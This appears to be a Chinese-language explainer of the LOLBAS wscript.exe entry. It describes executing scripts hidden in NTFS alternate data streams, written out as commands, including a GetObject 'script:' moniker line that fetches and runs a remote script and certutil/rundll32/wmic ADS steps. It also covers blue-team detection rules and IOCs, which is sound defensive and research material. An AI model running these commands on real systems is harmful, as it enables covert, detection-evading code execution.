资讯详情

资讯详情

LOLBAS 实战解析:Wscript.exe 与 NTFS 备用数据流(ADS)隐藏脚本执行技术

应用安全渗透测试红蓝对抗【免费下载链接】LOLBASLiving Off The Land Binaries And Scripts - (LOLBins and LOLScripts)项目地址https://gitcode.com/gh_mirrors/lo/LOLBAS点击查看免费下载本文基于 LOLBAS 开源仓库中 Archive-Old-Version/OSBinaries/Wscript.exe.md 及其现行结构化记录 yml/OSBinaries/Wscript.yml 展开聚焦 Windows 系统原生脚本宿主 wscript.exe 被滥用于从备用数据流Alternate Data Stream, ADS执行脚本这一 Living Off The Land 技术。读完本文你将掌握wscript.exe 的恶意利用面、ADS 藏匿与执行 VBS/JS 的完整命令写法、底层机制WSH 引擎与 script: moniker以及蓝队应如何通过进程行为、镜像加载与文件事件规则发现此类活动。一、wscript.exe 是什么为什么它属于 LOLBinwscript.exe 是 Windows 自带的脚本宿主进程全路径为c:\windows\system32\wscript.exe与c:\windows\sysWOW64\wscript.exeArchive-Old-Version/OSBinaries/Wscript.exe.md。与之成对的还有 cscript.exe二者共享同一套 Windows Script HostWSH引擎wscript 以图形界面模式运行cscript 以命令行控制台模式运行。在 LOLBAS 项目中一个程序要被收录为 LOLBin 必须满足 README.md 中列出的硬性标准必须是微软签名文件操作系统原生或由微软官方分发必须具备意外的、超出设计意图的功能——单纯记录设计用途没有价值该功能必须对 APT 或红队有实际作战价值。wscript.exe 恰好全部满足它是微软签名的系统原生组件绝大多数 Windows 系统默认存在它的设计用途是执行.vbs、.js等脚本但攻击者可以让它直接执行藏在 NTFS 备用数据流里的脚本既绕过了常规文件扫描又规避了对新建脚本文件行为的检测属于典型的执行代码类 LOLBin。仓库为其标注的功能标签是Execute与Read ADSArchive-Old-Version/OSBinaries/Wscript.exe.md。二、核心攻击面从 ADS 中执行 VBS 脚本2.1 基础命令旧版文档记录的最核心命令如下Archive-Old-Version/OSBinaries/Wscript.exe.mdwscript c:\ads\file.txt:script.vbs其含义是file.txt是一个普通可见文件script.vbs是挂在它上面的备用数据流wscript.exe 被要求直接读取并执行file.txt:script.vbs这个 ADS 中的 VBScript 代码。现行 yml 给出了更规范的等价写法并显式指定了脚本引擎yml/OSBinaries/Wscript.ymlwscript //e:vbscript {PATH}:script.vbs其中//e:vbscript强制使用 VBScript 引擎解析目标流。这条命令的使用场景、分类、权限要求与 MITRE 映射在仓库中记录得十分完整yml/OSBinaries/Wscript.yml字段值含义DescriptionExecute script stored in an alternate data stream执行存于 ADS 的脚本UsecaseExecute hidden code to evade defensive counter measures执行隐藏代码以规避防御措施CategoryADS归属备用数据流滥用类别PrivilegesUser普通用户权限即可MitreIDT1564.004对应隐藏项目NTFS 文件属性备用数据流OperatingSystemWindows vista, 7, 8, 8.1, 10, 11覆盖 Vista 至今全系桌面系统2.2 下载并执行远程 ADS 脚本仓库还记录了第二种形态——远程脚本的下载与隐藏执行yml/OSBinaries/Wscript.ymlecho GetObject(script:{REMOTEURL:.js}) {PATH_ABSOLUTE}:hi.js wscript.exe {PATH_ABSOLUTE}:hi.js这条命令分两步完成攻击链用echo把一行 VBScriptGetObject(script:{REMOTEURL:.js})写入目标文件如c:\ads\file.txt:hi.js的 ADS用 wscript.exe 执行该 ADS。当 wscript.exe 解释执行这段 VBScript 时GetObject会通过script:COM Moniker 按 URL 拉取远程.js脚本并就地执行——本地磁盘上从未落下一个完整的恶意脚本文件恶意代码只在内存中驻留显著降低了被 AV/EDR 静态查杀的概率。三、底层原理WSH 引擎、ADS 与 script: moniker3.1 WSH 引擎的脚本解析流程wscript.exe 与 cscript.exe 同属 Windows Script Host。WSH 通过//e:开关选择脚本引擎如vbscript、jscript并把文件路径交给对应引擎解析。关键点在于WSH 并不要求目标文件必须是常规文件——路径中冒号后面的部分会被 NTFS 解析为备用数据流名。当 wscript.exe 收到c:\ads\file.txt:script.vbs这样的参数时NTFS 文件系统层直接定位到该流并交给 WSH 引擎执行整个过程中文件系统并未区分普通文件与流的语义差异这正是攻击得以成立的根本原因。同理仓库中的 cscript.exe 条目也记录了几乎相同的滥用方式cscript //e:vbscript {PATH_ABSOLUTE}:script.vbsyml/OSBinaries/Cscript.yml。二者的区别仅在于宿主形态GUI 窗口 vs 控制台对防御方而言wscript.exe与cscript.exe的命令行中出现 ADS 路径都是高危信号。3.2 script: moniker 的远程代码获取第二种命令中的GetObject(script:http://.../x.js)利用的是 Windows 内建的script:COM Moniker。该 Moniker 允许 COM 层把一个 URL 当作脚本对象实例化脚本内容通过网络获取后在本地 WSH 中执行。这是 PowerShell 的GetObject之外的、由 WSH 语境直接支撑的远程脚本加载通道配合 ADS 落盘形成了文件隐藏 网络取码的双重规避组合。3.3 ADS 是什么NTFS 备用数据流Alternate Data Stream是 NTFS 文件系统自 NT 3.1 起提供的能力一个文件可以拥有多个数据流除默认流外的一切流统称备用流语法为文件路径:流名。备用流对大多数常规 API目录列举、普通打开/读取不可见导致其天然具有隐蔽性。LOLBAS 仓库将 ADS 单列为一种攻击分类CategoryList.md可见其在 LOLBin 生态中的分量。四、把 wscript 放进 ADS 执行链的完整视角wscript.exe 之所以值得关注还在于它能与仓库中其他 ADS 类 LOLBin 组成写入-执行分工链。ADS 攻击的关键痛点从来不是怎么执行而是怎么把 payload 写进 ADS 且不被发现。仓库为此记录了大量微软签名的ADS 搬运工写入/搬运 ADSesentutl.exe 的/y ... /d {PATH}:file.exe可以把 EXE 拷进目标文件的 ADSfindstr.exe 的/V /L技巧可把文件内容重定向写入流reg.exe 与 regedit.exe 可把注册表数据导出到 ADSbitsadmin.exe 可把下载内容导向 ADScertutil.exe 的-urlcache -f {URL} {PATH}:ttt可直接把远程文件下载进 ADS。从 ADS 执行除 wscript.exe 执行脚本外rundll32.exe 可执行 ADS 中的 DLLrundll32 C:\ads\file.txt:ADSDLL.dll,DllMainwmic.exe 可通过process call create {PATH_ABSOLUTE}:program.exe执行 ADS 中的 EXEforfiles.exe 与 sc.exe 也能把 ADS 中藏匿的 EXE 拉起来执行。因此一个典型的隐蔽执行链可以是用 certutil.exe 或 bitsadmin.exe 把脚本/载荷写进某个正常文件的 ADS → 用 wscript.exe或 wmic/rundll32 等执行该流。全程所有恶意文件都不以独立可见文件形式存在这正是 wscript.exe ADS 技术在红队战术中经久不衰的原因。五、适用范围与局限性以仓库记录为准仓库明确标注该条目适用系统为 Windows Vista、7、8、8.1、10、11yml/OSBinaries/Wscript.yml且Privileges 为 User即普通用户权限即可完成无需提权——这一点使它比许多需要管理员权限的 LOLBin 更易落地。需要如实指出其边界ADS 技术依赖 NTFS 文件系统在 FAT32/exFAT 卷或某些网络共享上无法生效从 Windows 10 1903 起微软对部分 ADS 执行入口做了加固例如仓库中 mshta.exe 条目 明确标注1903 及更新版本不再生效wscript.exe 的 ADS 执行在新版系统上的行为应当以实际环境验证为准该条目本身以执行为目标不涉及提权或凭据窃取攻击价值取决于脚本载荷本身。六、检测与防御蓝队视角仓库为 wscript.exe 条目维护了专门的 Detection 清单yml/OSBinaries/Wscript.yml涵盖多个层面的规则来源Sigma 社区规则针对 wscript/cscript 脚本执行、命令行网络痕迹、.NET CLR DLL 异常加载、Elastic 检测规则异常目录 ADS、远程脚本复制、可疑托管代码宿主进程、Splunk 检测wscript/cscript 可疑子进程、微软官方推荐拦截规则Microsoft Recommended Block Rules以及 IOC 指标。仓库中收录的核心 IOC 包括IOC检测含义Wscript.exe executing code from alternate data streams进程命令行中出现路径:流名形态的 ADS 参数DotNet CLR libraries loaded into wscript.exewscript.exe 进程加载了 .NET CLR托管代码DLL属于非常规行为DotNet CLR Usage Log - wscript.exe.log系统中出现 WSH 的 .NET CLR 使用日志文件据此防御方可落地以下检测与加固措施进程创建类规则对wscript.exe/cscript.exe的命令行做模式匹配命中*.txt:*、*:*.vbs、*:*.js等 ADS 语法即告警对应仓库记录的 Sigmaproc_creation_win_wscript_cscript_script_exec方向镜像加载类规则监控 wscript.exe 加载mscoree.dll/clr.dll等 .NET 运行时模块的异常事件对应image_load_susp_script_dotnet_clr_dll_load方向文件事件类规则关注写往 ADS 的文件创建事件对应file_event_win_net_cli_artefact方向这是写入侧 certutil/bitsadmin/findstr 活动留下的痕迹启用 ETW / WSH 审计Windows 的 WSH 有内置日志能力即 IOC 中提到的wscript.exe.log可通过 Windows Defender Application Control 的脚本审计或 ETW 会话记录脚本内容应用白名单若业务无脚本执行需求可在 WDAC/WDAC 推荐拦截规则中将 wscript.exe/cscript.exe 直接拉黑阻断整个类别仓库在 BlockRule 中明确引用了微软推荐拦截规则。七、数据模型wscript 条目在仓库中的记录规范wscript.exe 当前以结构化 YAML 形式维护在 yml/OSBinaries/Wscript.yml其字段遵循 YML-Template.yml 定义的仓库统一规范。理解这套字段结构能帮助读者快速读懂任意 LOLBin 条目Name/Description程序名与总体描述Author/Created条目作者与创建日期本条为 Oddvar Moe2018-05-25Commands[]每个利用命令的四要素Command可执行命令、Description行为描述、Usecase实战场景、Category功能分类、Privileges所需权限、MitreIDATTCK 映射、OperatingSystem适用系统与可选TagsFull_Path[]二进制真实安装路径含 32/64 位双路径Detection[]Sigma / Elastic / Splunk / BlockRule / IOC 等检测建议Resources[]与Acknowledgement[]外部参考与致谢研究者。值得注意的是同一技术点的两份记录存在差异旧版 MarkdownArchive-Old-Version/OSBinaries/Wscript.exe.md只记了一条本地 ADS 执行命令而现行 YAML 版本补充了远程脚本下载执行命令、完整检测建议与 ATTCK 映射。这也体现了 LOLBAS 项目以 YML 为事实源、旧版文档仅作历史存档的演进脉络README.md 明确说明仓库以维护 YML 文件为核心前端站点由这些 YML 驱动。八、合规边界与使用前提wscript.exe 的 ADS 执行能力属于Living Off The Land技术其合法用途应严格限定于获得授权的渗透测试 / 红队演练有书面授权范围安全研究者在隔离的靶机环境中验证与复现防御方用同一手法建设检测规则、验证 EDR 覆盖度。在生产环境、未授权主机上执行本文命令属于违法行为。此外文中所有命令均可在隔离环境中以无害 payload如弹计算器、写临时文件验证验证前建议开启系统审计日志以便同步观察检测侧行为。九、延伸阅读与仓库导航若希望继续深入可在当前仓库中按以下路径展开同一手法的兄弟条目yml/OSBinaries/Cscript.yml控制台版脚本宿主ADS 执行 VBS 的对应命令ADS 分类全貌CategoryList.mdADS 为仓库 17 个攻击分类之一以及 yml/OSBinaries/Esentutl.yml、yml/OSBinaries/Findstr.yml、yml/OSBinaries/Regedit.yml、yml/OSBinaries/Sc.yml、yml/OSBinaries/Wmic.yml 等写入/执行 ADS 的同类条目数据规范YML-Template.yml条目字段模板与 CONTRIBUTING.md贡献指南项目背景与收录标准README.mdLOLBin 定义与准入条件。总之wscript.exe 是 LOLBAS 中微软签名原生组件被二次利用的典型样本它本是为脚本执行而生的系统组件却因 WSH 引擎对 NTFS 备用数据流与远程script:moniker 的无差别处理成为红队隐蔽执行链上可靠的一环而对蓝队而言围绕它的检测规则与 IOC 建设恰恰是从端点行为层面识别 ADS 滥用的经典起点。赞分享应用安全渗透测试红蓝对抗【免费下载链接】LOLBASLiving Off The Land Binaries And Scripts - (LOLBins and LOLScripts)项目地址https://gitcode.com/gh_mirrors/lo/LOLBAS点击查看免费下载相关推荐LOLBAS 实战解析Cscript.exe 利用 NTFS 备用数据流ADS执行 VBScript 的攻防技术LOLBAS 实战解析Cscript.exe 利用 NTFS 备用数据流ADS执行 VBScript 的攻防技术 本文以 LOLBAS 仓库中 Cscri应用安全渗透测试红蓝对抗LOLBAS 中的 SC.exe利用 NTFS 备用数据流ADS创建与修改服务实现隐藏执行LOLBAS 中的 SC.exe利用 NTFS 备用数据流ADS创建与修改服务实现隐藏执行 导读 SC.exe 是 Windows 自带的微软签名服务管理应用安全渗透测试红蓝对抗LOLBAS 深度剖析Forfiles.exe 的间接命令执行与 NTFS 备用数据流ADS触发技法LOLBAS 深度剖析Forfiles.exe 的间接命令执行与 NTFS 备用数据流ADS触发技法 导读 本文以 LOLBAS 仓库对 Windows应用安全渗透测试红蓝对抗创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
觉得有用,分享给同行:

为您的企业打造数字门面

稳重轻奢商务风格,端正雅致视觉,长效耐看不易过时。

立即咨询 →